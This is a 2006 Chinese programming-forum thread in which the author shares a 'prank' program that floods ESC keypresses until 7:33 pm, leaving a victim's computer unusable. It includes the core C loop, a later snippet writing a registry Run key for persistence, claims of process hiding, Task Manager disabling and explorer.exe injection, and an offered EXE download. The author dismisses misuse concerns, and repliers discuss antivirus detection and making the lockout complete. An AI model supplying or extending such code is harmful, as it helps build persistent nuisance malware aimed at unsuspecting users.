Board logo

标题: [原创]再写恶作剧 [打印本页]

作者: 无条件为你    时间: 2006-4-3 12:16     标题: [原创]再写恶作剧

[watermark]    这个程序有一定的危害,受害者可能不能正常使用自己的计算机了。编写它我足足花费了一个星期的时间。总是没有把问题考虑全面,不得不重新编译生成EXE。比如刚刚写程序的时候为了判断当前时间我用下面的一段程序:
time_t t;
do
{
  time(&t); //得到当前日历和时间。
  keybd_event(27,0,0,0);
  Sleep(200);
}while(strstr(ctime(&t),"19:33")==NULL);
在这个循环条件里面我以前用的是“19:33”,认为到了晚上7点33分就可以退出循环了,接下来测试的时候也没有问题,然后拿出去给朋友做试验的时候发现了漏洞,就是无论到几点,只要是每个小时的19分33秒,仍然可以退出循环。后来我把条件改为“19:33:”,虽然只是多出来一个“:”号,但就可以准确的达到预定的效果了。

    这个程序对计算机数据没有任何破坏,执行后,你不能正常使用计算机,而且症状奇特,绝对是你以前没有遇到过的,建议你用任何杀毒软件对他进行查杀,绝对无毒。如果你实在没有能力修理好你的计算机,请在下午7点30分开启你的电脑,程序帮你自动修复。为了增加交流,请到这里下载生成的EXE程序:

作者: 黑色叶子    时间: 2006-4-7 19:55     标题: [原创]再写恶作剧

病毒的说
作者: 无条件为你    时间: 2006-4-7 20:32     标题: [原创]再写恶作剧

您的表意不明确,我不明白你的意思,烦请明言。
作者: 我有我色彩    时间: 2006-4-7 20:56     标题: [原创]再写恶作剧

time_t t;
新手来关注一下。
time 后面的那一横代表什么意思啊?俺是不懂就问,不嫌我烦就行了。另外最后面那是冒号吗?有什么用?
叶子是那样说话了,时间长了你就知道。说话说不清楚。
作者: 默数悲伤    时间: 2006-4-7 21:31     标题: [原创]再写恶作剧

楼上,c语言基础还没有学好哦:)

作者: 无条件为你    时间: 2006-4-7 21:43     标题: [原创]再写恶作剧

time_t是一种类型而已。是一个整体,不能分开。
最后一个是分号。C++语法规定每条语句必须以分号结束。
确实问了最“底层”的问题,建议看看C语言的书。

题外话,关于time_t:

Time_t是C/C++ 等编程语言在内部代表/存储日期和时间的一种数据类型。Time_t实际上是一个代表秒数的整数,当它的值为0时,代表的时间是1970年1月1日12:00:00;当Time_t=60时,则表示1970年1月1日12:01:00,依此类推。

所有32位电脑系统都用带符号32位整型来存储time_t的值,也就是说t_time只能用31位二进制数来表示(第一位用来表示正负号),而其最大值转换为十进制是2147483647,换算成日期和时间刚好是2038年1月19日03:14:07am(GMT),而这一秒过后,t_time的值将变成-2147483647,代表的是1901年12月13日8:45:52pm,这样32位软硬件系统的日期时间显示就都乱套了。另外,无法接受time_t为负值的其他功能也将返回错误。

举个实际的例子来说,登陆上Yahoo messenger,给好友发个消息,恩没问题,现在把系统时间更改为2038年1月19日03:14:07am,此时如果再发消息Yahoo messenger就将崩溃。
作者: bigblock    时间: 2006-4-7 21:52     标题: [原创]再写恶作剧

这种程序最好有保护机制...
要不好多人拿去害人可不好...
作者: 无条件为你    时间: 2006-4-7 22:05     标题: [原创]再写恶作剧

这个还谈不上是病毒。
怎么给您解释呢?
刀,可以被人拿出来杀人,但市场上仍然有公开卖菜刀的。

本程序的源代码已经在贴子的一开始就公布了核心代码,就很短。关于进程的隐藏和禁用任务管理器的代码没有写出来,因为这个小程序代码非常长,仅仅隐藏自己不在任务管理器中出现的代码就要写几页,还有写入注册表启动及复制自身的……写得太长没有必要。初学者不喜欢,而且对于老手来说那些技术都是老生常谈了。

如果真是有人拿去害人,只有委屈那些不进本坛看此贴的人了。
公布出去就是让大家学习或抛砖引玉的,学会的人拿去害人倒是他个人素质的问题了。必定是无法两全其美的事情。而且,那也倒不是我们关心的事情……
作者: bigblock    时间: 2006-4-7 22:12     标题: [原创]再写恶作剧

唉...
这些我也知道啊.
以前我也写过一个自动关机的程序.
结果让我们学校机房的老师头痛的好长时间...
作者: 无条件为你    时间: 2006-4-7 22:23     标题: [原创]再写恶作剧

远程批量关机,确实很好玩。
C++可以做任何想做的事情,如果学得好的话。
作者: bigblock    时间: 2006-4-7 22:44     标题: [原创]再写恶作剧

当时也是
我们班的人都是最后来上机.
很多人走了都不关机.
我就写了那个程序.
可是不知道是谁来把那个程序放到了开机启动里面.结果...
作者: 无条件为你    时间: 2006-4-7 23:24     标题: [原创]再写恶作剧

用下段代码可以复制自身并写入注册表启动项:

  HKEY key;
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)
    {
        RegSetValueEx(key,"mwy",0,REG_SZ,(byte*)"c:\\mwy.exe",10);
        RegCloseKey(key);
    }

这样就不必再手动拖到“开始”菜单里面的“启动”项了。
作者: 123456q    时间: 2006-4-8 10:09     标题: [原创]再写恶作剧

看来版主你还挺喜欢这些的呢,还行吧,拿来研究后加点东西上去,
作者: 无条件为你    时间: 2006-4-8 10:33     标题: [原创]再写恶作剧

闲来无事,写着玩的,楼上的朋友有何高见,欢迎指出!
作者: love枫叶    时间: 2006-4-24 19:28     标题: [原创]再写恶作剧

朋友还真是有毒,我的是瑞星18.23.40的.要图吗?你有我QQ的.
作者: 无条件为你    时间: 2006-4-24 23:33     标题: [原创]再写恶作剧

     这个程序其实用到了注册系统进程的代码,就是程序运行后没有进程,可能提示有病毒的原因就是在这里。
     程序本身是模拟疯按键盘上的ESC键,如果只写这么多的话应该不是病毒。主要是注册了系统进程,把程序本身集成到explorer.exe进程上去了。
作者: x86    时间: 2006-4-25 10:07     标题: [原创]再写恶作剧

我的瑞星对插入explorer.exe的程序不报毒.

作者: 无条件为你    时间: 2006-4-25 13:35     标题: [原创]再写恶作剧

所以,这个程序在很多计算机上执行都无病毒的提示。
作者: 青蛙    时间: 2006-4-25 16:04     标题: [原创]再写恶作剧

无条件写的文章总是那么好玩~~

作者: haode111    时间: 2006-4-28 15:40     标题: [原创]再写恶作剧

程序确实好玩,但是论坛实在太慢了!
作者: 无条件为你    时间: 2006-4-30 12:15     标题: [原创]再写恶作剧

下面引用由haode1112006/04/28 03:40pm 发表的内容:
程序确实好玩,但是论坛实在太慢了!
又找到一位知音。您是哪里的朋友?
作者: huangbi59757    时间: 2006-5-1 21:40     标题: [原创]再写恶作剧

keybd_event(27,0,0,0);
问问高手,keybd_event( )这个函数的功能和具体形叁是什么?
作者: 无条件为你    时间: 2006-5-2 00:40     标题: [原创]再写恶作剧

下面引用由huangbi597572006/05/01 09:40pm 发表的内容: keybd_event(27,0,0,0);
问问高手,keybd_event( )这个函数的功能和具体形叁是什么?
笨! 偶不是高手,这个函数的功能是自动执行键盘上的某些键。第一个参数27代表ESC键。
作者: Frank20    时间: 2006-5-2 15:28     标题: [原创]再写恶作剧

谁知道在如何在网上学习C++语言呀?我都不知道怎么开头,开头该学什么呢?急啊
菜鸟QQ79341258
作者: mingfeng01    时间: 2006-5-6 16:19     标题: [原创]再写恶作剧

用瑞星杀毒软件轻松杀掉
作者: 无条件为你    时间: 2006-5-12 00:05     标题: [原创]再写恶作剧

程序还有写注册表的操作,因此会有被认定是病毒的可能。
现在杀毒软件不停的升级,而我的程序还是以前写的。
这个贴子没有什么技术含量,如果不是你们回复,我都不好意思再把它顶上来了。
作者: zcaard    时间: 2006-5-16 18:33     标题: [原创]再写恶作剧

可以看一下啊
作者: dy20000008    时间: 2006-5-22 16:24     标题: [原创]再写恶作剧

挺有意思的
作者: myseeker    时间: 2006-5-24 22:57     标题: [原创]再写恶作剧

楼主的思路我基本清楚,大多数木马也用了其中的技术,所以被杀毒软件捕杀是不奇怪的。核心代码也不是很好用的,在一些软件里面对ESC键是不响应的,所以并不能完全禁止使用计算机。由于没有看到源码,你的其他东西我不清楚,程序我没有运行,卡巴把它杀了。。。。。。。。
再加一些东西就可以完全禁止使用计算机了。
我很菜,请多指教。
作者: 若风    时间: 2006-5-25 12:44     标题: [原创]再写恶作剧

很有意思啊~~~
学习快乐着~~~
作者: czj2009    时间: 2006-5-25 23:50     标题: [原创]再写恶作剧

呵呵  键值   可以 随意设置的.......   好思路   又学到东西咯  谢谢~





欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2